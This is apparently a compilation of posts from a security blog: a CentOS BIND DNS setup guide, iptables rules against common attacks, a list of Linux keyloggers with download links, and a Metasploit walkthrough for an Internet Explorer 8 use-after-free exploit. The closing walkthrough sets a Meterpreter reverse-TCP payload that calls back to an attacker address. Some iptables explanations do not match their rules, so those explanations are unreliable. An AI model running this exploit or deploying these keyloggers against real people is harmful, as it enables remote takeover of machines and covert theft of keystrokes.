DNS - Domain Name Server Configuration - Server CentOS , Client XP

DNS  is nothing but the numerical form of IP address which can be easily remembered and used. It can resolve full domain name from the  IP address and vice-versa. There is master name server and slave name server.

ifcfg-eth0 file configuration

Configuration of DNS server
To install DNS server we need to install bind package from terminal using following command:

# yum search bind

It will list all available bind packages. From all packages we have installed bind.i686 : The Berkeley Internet Name Domain (BIND) DNS (Domain Name System) server. Command is as follows.

# yum install bind.i686

After the installation we need to configure named.conf file which is lying in /var/named/chroot/etc/named.conf

• Here we will create two zones in named.conf one will be forward zone and another will be reverse zone.
•  After that we need to create both zones’ file separately.

Here is the named.conf file configuration.

In the beginning of the configuration file all file options are provided and it provides all those files stored on the system. We have disabled  IPv6 support. Here logging section provides all log messages so that it can be helpful for configuration as well as troubleshooting.

Now we have added two zones in named.conf now it is time to create both zones’ individual file. It has to be created in /var/named/chroot/var/named folder.
I have created two zone files as follow in above mentioned directory.

Chintangurjar.com.db
Chintangurjar.com.reverse.db

 
It is compulsory to create both these files before starting the named service. So create these two files in that particular folder as mentioned above. And the configure it as mentioned in below fig.

You can create those files using nano command which is in-build an editor.

#nano chintangurjar.com.db

Below figures describes the configuration of forward zone and reverse zone.

Here as we can see NS represents the name server chintangurjar.com  in which we have integrated NS1, WWW, MAIL and SMTP for chintangurjar.com

    These records show the address of the server chintangurjar.com. Here PTR is the pointer to chintangurjar.com and this is reverse zone configuration file.

• Forward zone just keeps all the information about zone and their standard records.
• Reverse zone is specially created to perform reverse look up. Records of these zones are derived from address.

Once these zone files created we need to start DNS service by restarting or starting named service. Command is showing below. 

#service named restart

Now we will be checking from client side that, if it is working from client side or not. For that XP machine will be used and command to check DNS is NSLOOKUP

Clearly,  NSLOOKUP command shows the whole zone information in client machine Windows XP.

Self Critical Evaluation

• After editing named file when I tried to restart the named service it was giving me permission error such as “could not configure root hints from 'named.ca' permission denied”.
• I resolved that error by typing following command.

# chown named: named /var/named/chroot/var/named/named.ca

Thus, Whole DNS task can be accomplished. Now we will move towards postfix.

Souce : http://infosecninja.blogspot.com/2013/06/dns-domain-name-server-configuration_3266.html

How Common Attacks Are Being Blocked By Linux IPTABLES

ifcfg-eth0 file configuration

Here in this section I am going to discuss some common attacks can be done on any type of Linux machine and I will also describe that how they are being blocked by iptables.

ICMP Flood | Ping Traffic

This is also known as ping of death attack or an ICMP flood. One must block ping traffic by using iptables. One must block all ICMP incoming packets from outside connection. You can let it allow for your internal network.  Below command shows how ICMP flood can be dropped by using iptables.DROP is used for dropping packet.

iptables -A OUTPUT -p icmp --icmp-type 8 -j DROP

Drop incoming NULL Packet

Null packets should be dropped by following command:

iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP

Drop incoming XMAS Packet

XMAS packets should be dropped by following command:

iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP

Drop incoming Fragments Packet

Fragments packets should be dropped by following command:

iptables -A INPUT -f -j DROP

Drop SYN Packets

SYN packets should be dropped by following command:

iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP

Thus we can use iptables in efficient way.

Source : http://infosecninja.blogspot.co.uk/2013/06/how-common-attacks-are-being-blocked-by.html

List of Linux Key loggers

(1)LKL:-

LKL is a user space keylogger that runs under linux--x86/arch. LKL sniffs and logs everything passes trought the hardware keyboard port (0x60).

Download From here

(2)Log Key:-

logkeys is a linux keylogger. It is no more advanced than other available linux

keyloggers, notably lkl and uberkey, but is a bit newer, more up to date, it doesn't unreliably repeat keys and it shouldn't crash your X. All in all, it just seems to work. It relies on event interface of the Linux input subsystem.

Once completely set, it logs all common character and function keys, while also

being fully aware of Shift and Altr key modifiers.

Download from here

(3)Ttypld:-

ttyrpld is a kit to log any traffic and actions which go through any of your Kernel's tty

devices. In common-term language, this is a Keylogger

Download from here

(4)uber key :-

Download link

(5)Vlogger:-

Download link

(6)Simple keylogger Python script:-

Download here

If you are free & want to learn how keyboard driver works in linux kernal , I would recommended you to read from following link .

http://thc.org/papers/writing-linux-kernel-keylogger.txt

Also read this article which is quite interesting.http://theinvisiblethings.blogspot.in/2011/04/linux-security-circus-on-gui-isolation.html

Exploit 0Day vulnerability in Internet Exploit 8

Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability

This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) Website.

Exploit Targets

    0 - Automatic (default)
    1 - IE 8 on Windows XP SP3
    2 - IE 8 on Windows Vista
    3 - IE 8 on Windows Server 2003
    4 - IE 8 on Windows 7

msf > use exploit/windows/browser/ie_cgenericelement_uaf
msf exploit(ie_cgenericelement_uaf) > show payloads
msf exploit(ie_cgenericelement_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cgenericelement_uaf) > set LHOST [MY IP ADDRESS]
msf exploit(ie_cgenericelement_uaf) > exploit